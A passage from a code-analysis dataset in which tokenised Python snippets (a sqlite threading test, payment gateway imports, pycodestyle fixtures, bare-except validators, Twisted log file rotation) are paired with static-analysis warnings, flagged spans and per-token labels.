"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "thread_", "._", "exit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "fd_", ",_", "dbfile_", "=_", "tempfile_", "._", "mkstemp_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "close_", "(_", "fd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "writer_", "=_", "sqlite_", "._", "connect_", "(_", "dbfile_", ",_", "timeout_", "=_", "500_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cu_", "=_", "writer_", "._", "cursor_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cu_", "._", "execute_", "(_", "'", "CREATE", " ", "TAB", "LE", " ", "foo", "(", "bar", " ", "int", ")'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "writer_", "._", "commit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "thread_", "._", "start", "\\u", "new", "\\u", "thread_", "(_", "reader_", ",_", "(_", "dbfile_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "xrange_", "(_", "100_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cu_", "._", "execute_", "(_", "'", "INSERT", " ", "INT", "O", " ", "foo", " ", "values", "(?", ")'_", ",_", "(_", "i_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "i_", "%_", "10_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "writer_", "._", "commit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "i_", "%_", "20_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cu_", "._", "execute_", "(_", "'", "DELET", "E", " ", "FROM", " ", "foo", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "writer_", "._", "commit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cu_", "._", "execute_", "(_", "'", "INSERT", " ", "INT", "O", " ", "foo", " ", "VALU", "ES", "(", "NULL", ")'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "writer_", "._", "commit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "suite_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "thread", "\\u", "suite_", "=_", "unittest_", "._", "make", "Suite_", "(_", "Thread", "Tests_", ",_", "\"", "Check", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "test\\u", "suite_", "=_", "unittest_", "._", "Test", "Suite_", "(_", "(_", "thread", "\\u", "suite_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "test\\u", "suite_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "main_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "run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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
abunsen/Paython/paython/gateways/__init__.py
[ { "content": "from authorize_net import AuthorizeNet\nfrom innovative_gw import InnovativeGW\nfrom firstdata_legacy import FirstDataLegacy\nfrom plugnpay import PlugnPay\nfrom stripe_com import Stripe\nfrom samurai_ff import Samurai\nfrom firstdata import FirstData\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "from authorize_net import AuthorizeNet", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 38 }, { "span": "from innovative_gw import InnovativeGW", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 38 }, { "span": "from firstdata_legacy import FirstDataLegacy", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 44 }, { "span": "from plugnpay import PlugnPay", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 29 }, { "span": "from stripe_com import Stripe", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 29 }, { "span": "from samurai_ff import Samurai", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 30 }, { "span": "from firstdata import FirstData", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 31 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "authoriz", "e\\u", "net_", "import_", "Authoriz", "e", "Net_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "inno", "vati", "ve", "\\u", "gw_", "import_", "Inno", "vati", "ve", "GW", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "first", "data\\u", "legacy_", "import_", "Fi", "rst", "Data", "Leg", "ac", "y_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "plug", "npa", "y_", "import_", "Plug", "n", "Pay", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "strip", "e\\u", "com_", "import_", "Strip", "e_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sam", "ura", "i", "\\u", "ff_", "import_", "Sam", "ura", "i_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "first", "data_", "import_", "Fi", "rst", "Data_" ]
[ 4, 4, 4, 4, 4, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1 ]
Variable defined multiple times
PyCQA/pycodestyle/testsuite/E26.py
[ { "content": "#: E261:1:5\npass # an inline comment\n#: E262:1:12\nx = x + 1 #Increment x\n#: E262:1:12\nx = x + 1 # Increment x\n#: E262:1:12\nx = y + 1 #: Increment x\n#: E265:1:1\n#Block comment\na = 1\n#: E265:2:1\nm = 42\n#! This is important\nmx = 42 - 42\n#: E266:3:5 E266:6:5\n#: E265:1:1 E266:2:1\n##if DEBUG:\n## logging.error()\n#: W291:1:42\n######################################### \n#:\n\n#: Okay\n#!/usr/bin/env python\n\npass # an inline comment\nx = x + 1 # Increment x\ny = y + 1 #: Increment x\n\n# Block comment\na = 1\n\n# Block comment1\n\n# Block comment2\naaa = 1\n\n\n# example of docstring (not parsed)\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "x ", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 1 }, { "span": "a ", "start_line": 10, "start_column": 0, "end_line": 10, "end_column": 1 } ]
[]
1
true
[ "[CLS]_", "Variable_", "defined_", "multiple_", "times_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", ":", " ", "E2", "6", "1", ":", "1", ":", "5_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "#", " ", "an", " ", "inline", " ", "comment_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", ":", " ", "E2", "6", "2", ":", "1", ":", "12_", "\\u\\u\\uNL\\u\\u\\u_", "x_", "=_", "x_", "+_", "1_", "#", "Increment", " ", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", ":", " ", "E2", "6", "2", ":", "1", ":", "12_", "\\u\\u\\uNL\\u\\u\\u_", "x_", "=_", "x_", "+_", "1_", "#", " ", " ", "Increment", " ", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", ":", " ", "E2", "6", "2", ":", "1", ":", "12_", "\\u\\u\\uNL\\u\\u\\u_", "x_", "=_", "y_", "+_", "1_", "#", ":", " ", " ", "Increment", " ", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", ":", " ", "E2", "6", "5", ":", "1", ":", "1_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Block", " ", "comment_", "\\u\\u\\uNL\\u\\u\\u_", "a_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", ":", " ", "E2", "6", "5", ":", "2", ":", "1_", "\\u\\u\\uNL\\u\\u\\u_", "m_", "=_", "42_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#!", " ", "Thi", "s", " ", "is", " ", "importa", "nt_", "\\u\\u\\uNL\\u\\u\\u_", "mx_", "=_", "42_", "-_", "42_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", ":", " ", "E2", "6", "6", ":", "3", ":", "5", " ", "E2", "6", "6", ":", "6", ":", "5_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", ":", " ", "E2", "6", "5", ":", "1", ":", "1", " ", "E2", "6", "6", ":", "2", ":", "1_", "\\u\\u\\uNL\\u\\u\\u_", "##", "if", " ", "DEBU", "G", ":_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", " ", " ", " ", "logg", "ing", ".", "error", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", ":", " ", "W2", "9", "1", ":", "1", ":", "42_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "######", "##", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", ":_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", ":", " ", "Ok", "ay_", "\\u\\u\\uNL\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "pass_", "#", " ", "an", " ", "inline", " ", "comment_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x_", "=_", "x_", "+_", "1_", "#", " ", "Increment", " ", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "y_", "=_", "y_", "+_", "1_", "#", ":", " ", "Increment", " ", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Block", " ", "comment_", "\\u\\u\\uNL\\u\\u\\u_", "a_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Block", " ", "comment", "1_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Block", " ", "comment", "2_", "\\u\\u\\uNL\\u\\u\\u_", "aaa", "_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "example", " ", "of", " ", "docstr", "ing", " ", "(", "not", " ", "parsed", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
Opentaste/bombolone/bombolone/core/validators.py
[ { "content": " def is_integer(self, data):\n \"\"\" \"\"\"\n try:\n tmp = int(data)\n return True\n except:\n return False", "metadata": "root.CheckValue.is_integer", "header": "['class', 'CheckValue', '(', 'object', ')', ':', '___EOS___']", "index": 98 }, { "content": " def float(self, data):\n \"\"\" \"\"\"\n try:\n tmp = float(data)\n return True\n except:\n return False", "metadata": "root.CheckValue.float", "header": "['class', 'CheckValue', '(', 'object', ')', ':', '___EOS___']", "index": 106 } ]
[ { "span": "except:", "start_line": 103, "start_column": 8, "end_line": 103, "end_column": 15 }, { "span": "except:", "start_line": 111, "start_column": 8, "end_line": 111, "end_column": 15 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "class_", "Check", "Value_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "is", "\\u", "integer_", "(_", "self_", ",_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tmp_", "=_", "int_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Check", "Value_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "float_", "(_", "self_", ",_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tmp_", "=_", "float_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2 ]
`__init__` method calls overridden method
nlloyd/SubliminalCollaborator/libs/twisted/python/logfile.py
[ { "content": "class BaseLogFile:\n \"\"\"\n The base class for a log file that can be rotated.\n \"\"\"\n\n synchronized = [\"write\", \"rotate\"]\n\n\n fromFullPath = classmethod(fromFullPath)\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root.BaseLogFile", "header": "['module', '___EOS___']", "index": 16 }, { "content": " def __init__(self, name, directory, defaultMode=None):\n \"\"\"\n Create a log file.\n\n @param name: name of the file\n @param directory: directory holding the file\n @param defaultMode: permissions used to create the file. Default to\n current permissions of the file if the file exists.\n \"\"\"\n self.directory = directory\n self.name = name\n self.path = os.path.join(directory, name)\n if defaultMode is None and os.path.exists(self.path):\n self.defaultMode = stat.S_IMODE(os.stat(self.path)[stat.ST_MODE])\n else:\n self.defaultMode = defaultMode\n self._openFile()", "metadata": "root.BaseLogFile.__init__", "header": "['class', 'BaseLogFile', ':', '___EOS___']", "index": 23 }, { "content": " def fromFullPath(cls, filename, *args, **kwargs):\n \"\"\"\n Construct a log file from a full file path.\n \"\"\"\n logPath = os.path.abspath(filename)\n return cls(os.path.basename(logPath),\n os.path.dirname(logPath), *args, **kwargs)", "metadata": "root.BaseLogFile.fromFullPath", "header": "['class', 'BaseLogFile', ':', '___EOS___']", "index": 41 }, { "content": " def shouldRotate(self):\n \"\"\"\n Override with a method to that returns true if the log\n should be rotated.\n \"\"\"\n raise NotImplementedError", "metadata": "root.BaseLogFile.shouldRotate", "header": "['class', 'BaseLogFile', ':', '___EOS___']", "index": 50 }, { "content": " def _openFile(self):\n \"\"\"\n Open the log file.\n \"\"\"\n self.closed = False\n if os.path.exists(self.path):\n self._file = file(self.path, \"r+\", 1)\n self._file.seek(0, 2)\n else:\n if self.defaultMode is not None:\n # Set the lowest permissions\n oldUmask = os.umask(0777)\n try:\n self._file = file(self.path, \"w+\", 1)\n finally:\n os.umask(oldUmask)\n else:\n self._file = file(self.path, \"w+\", 1)\n if self.defaultMode is not None:\n try:\n os.chmod(self.path, self.defaultMode)\n except OSError:\n # Probably /dev/null or something?\n pass", "metadata": "root.BaseLogFile._openFile", "header": "['class', 'BaseLogFile', ':', '___EOS___']", "index": 57 }, { "content": " def __getstate__(self):\n state = self.__dict__.copy()\n del state[\"_file\"]\n return state", "metadata": "root.BaseLogFile.__getstate__", "header": "['class', 'BaseLogFile', ':', '___EOS___']", "index": 82 }, { "content": " def __setstate__(self, state):\n self.__dict__ = state\n self._openFile()", "metadata": "root.BaseLogFile.__setstate__", "header": "['class', 'BaseLogFile', ':', '___EOS___']", "index": 87 }, { "content": " def write(self, data):\n \"\"\"\n Write some data to the file.\n \"\"\"\n if self.shouldRotate():\n self.flush()\n self.rotate()\n self._file.write(data)", "metadata": "root.BaseLogFile.write", "header": "['class', 'BaseLogFile', ':', '___EOS___']", "index": 91 }, { "content": " def flush(self):\n \"\"\"\n Flush the file.\n \"\"\"\n self._file.flush()", "metadata": "root.BaseLogFile.flush", "header": "['class', 'BaseLogFile', ':', '___EOS___']", "index": 100 }, { "content": " def close(self):\n \"\"\"\n Close the file.\n\n The file cannot be used once it has been closed.\n \"\"\"\n self.closed = True\n self._file.close()\n self._file = None", "metadata": "root.BaseLogFile.close", "header": "['class', 'BaseLogFile', ':', '___EOS___']", "index": 106 }, { "content": " def reopen(self):\n \"\"\"\n Reopen the log file. This is mainly useful if you use an external log\n rotation tool, which moves under your feet.\n\n Note that on Windows you probably need a specific API to rename the\n file, as it's not supported to simply use os.rename, for example.\n \"\"\"\n self.close()\n self._openFile()", "metadata": "root.BaseLogFile.reopen", "header": "['class', 'BaseLogFile', ':', '___EOS___']", "index": 117 }, { "content": " def getCurrentLog(self):\n \"\"\"\n Return a LogReader for the current log file.\n \"\"\"\n return LogReader(self.path)", "metadata": "root.BaseLogFile.getCurrentLog", "header": "['class', 'BaseLogFile', ':', '___EOS___']", "index": 129 }, { "content": "class LogFile(BaseLogFile):\n \"\"\"\n A log file that can be rotated.\n\n A rotateLength of None disables automatic log rotation.\n \"\"\"\n\n\n\n\n\n\n", "metadata": "root.LogFile", "header": "['module', '___EOS___']", "index": 136 }, { "content": " def __init__(self, name, directory, rotateLength=1000000, defaultMode=None,\n maxRotatedFiles=None):\n \"\"\"\n Create a log file rotating on length.\n\n @param name: file name.\n @type name: C{str}\n @param directory: path of the log file.\n @type directory: C{str}\n @param rotateLength: size of the log file where it rotates. Default to\n 1M.\n @type rotateLength: C{int}\n @param defaultMode: mode used to create the file.\n @type defaultMode: C{int}\n @param maxRotatedFiles: if not None, max number of log files the class\n creates. Warning: it removes all log files above this number.\n @type maxRotatedFiles: C{int}\n \"\"\"\n BaseLogFile.__init__(self, name, directory, defaultMode)\n self.rotateLength = rotateLength\n self.maxRotatedFiles = maxRotatedFiles", "metadata": "root.LogFile.__init__", "header": "['class', 'LogFile', '(', 'BaseLogFile', ')', ':', '___EOS___']", "index": 142 }, { "content": " def _openFile(self):\n BaseLogFile._openFile(self)\n self.size = self._file.tell()", "metadata": "root.LogFile._openFile", "header": "['class', 'LogFile', '(', 'BaseLogFile', ')', ':', '___EOS___']", "index": 164 }, { "content": " def shouldRotate(self):\n \"\"\"\n Rotate when the log file size is larger than rotateLength.\n \"\"\"\n return self.rotateLength and self.size >= self.rotateLength", "metadata": "root.LogFile.shouldRotate", "header": "['class', 'LogFile', '(', 'BaseLogFile', ')', ':', '___EOS___']", "index": 168 }, { "content": " def getLog(self, identifier):\n \"\"\"\n Given an integer, return a LogReader for an old log file.\n \"\"\"\n filename = \"%s.%d\" % (self.path, identifier)\n if not os.path.exists(filename):\n raise ValueError, \"no such logfile exists\"\n return LogReader(filename)", "metadata": "root.LogFile.getLog", "header": "['class', 'LogFile', '(', 'BaseLogFile', ')', ':', '___EOS___']", "index": 174 }, { "content": " def write(self, data):\n \"\"\"\n Write some data to the file.\n \"\"\"\n BaseLogFile.write(self, data)\n self.size += len(data)", "metadata": "root.LogFile.write", "header": "['class', 'LogFile', '(', 'BaseLogFile', ')', ':', '___EOS___']", "index": 183 }, { "content": " def rotate(self):\n \"\"\"\n Rotate the file and create a new one.\n\n If it's not possible to open new logfile, this will fail silently,\n and continue logging to old logfile.\n \"\"\"\n if not (os.access(self.directory, os.W_OK) and os.access(self.path, os.W_OK)):\n return\n logs = self.listLogs()\n logs.reverse()\n for i in logs:\n if self.maxRotatedFiles is not None and i >= self.maxRotatedFiles:\n os.remove(\"%s.%d\" % (self.path, i))\n else:\n os.rename(\"%s.%d\" % (self.path, i), \"%s.%d\" % (self.path, i + 1))\n self._file.close()\n os.rename(self.path, \"%s.1\" % self.path)\n self._openFile()", "metadata": "root.LogFile.rotate", "header": "['class', 'LogFile', '(', 'BaseLogFile', ')', ':', '___EOS___']", "index": 190 }, { "content": " def listLogs(self):\n \"\"\"\n Return sorted list of integers - the old logs' identifiers.\n \"\"\"\n result = []\n for name in glob.glob(\"%s.*\" % self.path):\n try:\n counter = int(name.split('.')[-1])\n if counter:\n result.append(counter)\n except ValueError:\n pass\n result.sort()\n return result", "metadata": "root.LogFile.listLogs", "header": "['class', 'LogFile', '(', 'BaseLogFile', ')', ':', '___EOS___']", "index": 210 }, { "content": " def __getstate__(self):\n state = BaseLogFile.__getstate__(self)\n del state[\"size\"]\n return state", "metadata": "root.LogFile.__getstate__", "header": "['class', 'LogFile', '(', 'BaseLogFile', ')', ':', '___EOS___']", "index": 225 }, { "content": "class DailyLogFile(BaseLogFile):\n \"\"\"A log file that is rotated daily (at or after midnight localtime)\n \"\"\"\n\n\n\n\n\n\n", "metadata": "root.DailyLogFile", "header": "['module', '___EOS___']", "index": 233 }, { "content": " def _openFile(self):\n BaseLogFile._openFile(self)\n self.lastDate = self.toDate(os.stat(self.path)[8])", "metadata": "root.DailyLogFile._openFile", "header": "['class', 'DailyLogFile', '(', 'BaseLogFile', ')', ':', '___EOS___']", "index": 236 }, { "content": " def shouldRotate(self):\n \"\"\"Rotate when the date has changed since last write\"\"\"\n return self.toDate() > self.lastDate", "metadata": "root.DailyLogFile.shouldRotate", "header": "['class', 'DailyLogFile', '(', 'BaseLogFile', ')', ':', '___EOS___']", "index": 240 }, { "content": " def toDate(self, *args):\n \"\"\"Convert a unixtime to (year, month, day) localtime tuple,\n or return the current (year, month, day) localtime tuple.\n\n This function primarily exists so you may overload it with\n gmtime, or some cruft to make unit testing possible.\n \"\"\"\n # primarily so this can be unit tested easily\n return time.localtime(*args)[:3]", "metadata": "root.DailyLogFile.toDate", "header": "['class', 'DailyLogFile', '(', 'BaseLogFile', ')', ':', '___EOS___']", "index": 244 }, { "content": " def suffix(self, tupledate):\n \"\"\"Return the suffix given a (year, month, day) tuple or unixtime\"\"\"\n try:\n return '_'.join(map(str, tupledate))\n except:\n # try taking a float unixtime\n return '_'.join(map(str, self.toDate(tupledate)))", "metadata": "root.DailyLogFile.suffix", "header": "['class', 'DailyLogFile', '(', 'BaseLogFile', ')', ':', '___EOS___']", "index": 254 }, { "content": " def getLog(self, identifier):\n \"\"\"Given a unix time, return a LogReader for an old log file.\"\"\"\n if self.toDate(identifier) == self.lastDate:\n return self.getCurrentLog()\n filename = \"%s.%s\" % (self.path, self.suffix(identifier))\n if not os.path.exists(filename):\n raise ValueError, \"no such logfile exists\"\n return LogReader(filename)", "metadata": "root.DailyLogFile.getLog", "header": "['class', 'DailyLogFile', '(', 'BaseLogFile', ')', ':', '___EOS___']", "index": 262 }, { "content": " def write(self, data):\n \"\"\"Write some data to the log file\"\"\"\n BaseLogFile.write(self, data)\n # Guard against a corner case where time.time()\n # could potentially run backwards to yesterday.\n # Primarily due to network time.\n self.lastDate = max(self.lastDate, self.toDate())", "metadata": "root.DailyLogFile.write", "header": "['class', 'DailyLogFile', '(', 'BaseLogFile', ')', ':', '___EOS___']", "index": 271 }, { "content": " def rotate(self):\n \"\"\"Rotate the file and create a new one.\n\n If it's not possible to open new logfile, this will fail silently,\n and continue logging to old logfile.\n \"\"\"\n if not (os.access(self.directory, os.W_OK) and os.access(self.path, os.W_OK)):\n return\n newpath = \"%s.%s\" % (self.path, self.suffix(self.lastDate))\n if os.path.exists(newpath):\n return\n self._file.close()\n os.rename(self.path, newpath)\n self._openFile()", "metadata": "root.DailyLogFile.rotate", "header": "['class', 'DailyLogFile', '(', 'BaseLogFile', ')', ':', '___EOS___']", "index": 279 }, { "content": " def __getstate__(self):\n state = BaseLogFile.__getstate__(self)\n del state[\"lastDate\"]\n return state", "metadata": "root.DailyLogFile.__getstate__", "header": "['class', 'DailyLogFile', '(', 'BaseLogFile', ')', ':', '___EOS___']", "index": 294 } ]
[ { "span": "self._openFile()", "start_line": 39, "start_column": 8, "end_line": 39, "end_column": 24 } ]
[ { "span": "def _openFile(self):", "start_line": 57, "start_column": 4, "end_line": 57, "end_column": 24 }, { "span": "def _openFile(self):", "start_line": 164, "start_column": 4, "end_line": 164, "end_column": 24 }, { "span": "def _openFile(self):", "start_line": 236, "start_column": 4, "end_line": 236, "end_column": 24 } ]
1
false
